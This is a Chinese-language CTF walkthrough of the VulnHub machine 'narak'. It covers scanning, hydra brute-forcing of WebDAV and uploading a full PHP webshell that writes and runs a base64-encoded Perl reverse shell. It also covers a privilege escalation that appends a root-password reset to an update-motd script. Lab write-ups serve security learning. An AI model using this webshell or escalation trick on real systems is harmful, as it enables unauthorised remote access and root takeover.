narak靶机
vulnhub下载靶机和kali一起设置为nat模式
ifconfig查询本机IP地址
nmap扫描本机网段查看靶机地址
查看源代码后什么也没发现
使用dirb工具-基于字典的目录扫描工具
dirb扫一下目录
使用方法:dirb http://192.168.10.138/
发现webdav服务
我们搜索webdav服务
WebDAV 基于 HTTP 协议的通信协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。
常用的文件共享有三种:FTP、Samba、WebDAV,它们各有优缺点,了解后才能更好地根据自己的需求选择方案。
那此时我们通过webdav进入网站发现需要用户密码
因为没有任何提示我们用户密码的东西,所有我们采用密码爆破的方式,使用kali自带的字典生成工具cewl获取网站后台数据从而生成字典。
使用方法 cewl http://192.168.10.138 -w dict.txt
#dict.txt是生成文件的名字。
之后用hydra工具使用字典爆破靶机
(-L 指定用户名 -P 指定密码 http-get 请求方式)
爆破出密码用户后登录
我们上传一个shell文件
反弹shell端口号和ip地址改成本机的
<?php function which($pr) { $path = execute("which $pr"); return ($path ? $path : $pr); } function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function cf($fname,$text){ if($fp=@fopen($fname,'w')) { @fputs($fp,@base64_decode($text)); @fclose($fp); } } $yourip = "192.168.10.138"; $yourport = '4444'; $usedb = array('perl'=>'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; cf('/tmp/.bc',$back_connect); $res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); ?>
用cadaver工具连接webdav以便上传我们的shell文件
进入webdav后我们打开:
open http://192.168.10.138/webdav
我们要把shell文件放在网站根目录下后再put webshell.php
之后nc -lvvp 4444监听4444端口查看监听情况
在根目录下发现可疑mnt目录打开获得一串字符
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
解码网站:https://www.splitbrain.org/services/ook
得到一组brainfuck编码,解码后得到:
chitragupt
在home目录下发现了 inferno,narak用户
ssh连接登录inferno试试,解码的chitragupt作为密码登录找到user.txt文件发现flag
修改文件 /etc/update-motd.d/00-header 1.进入到文件夹 /etc/update-motd.d/ 2.修改文件 echo "echo 'root:admin'|sudo chpasswd">>00-header 3.重新登录 \4. 切换管理员
之后 su root切换管理员权限时,密码就是admin
root目录中找到flag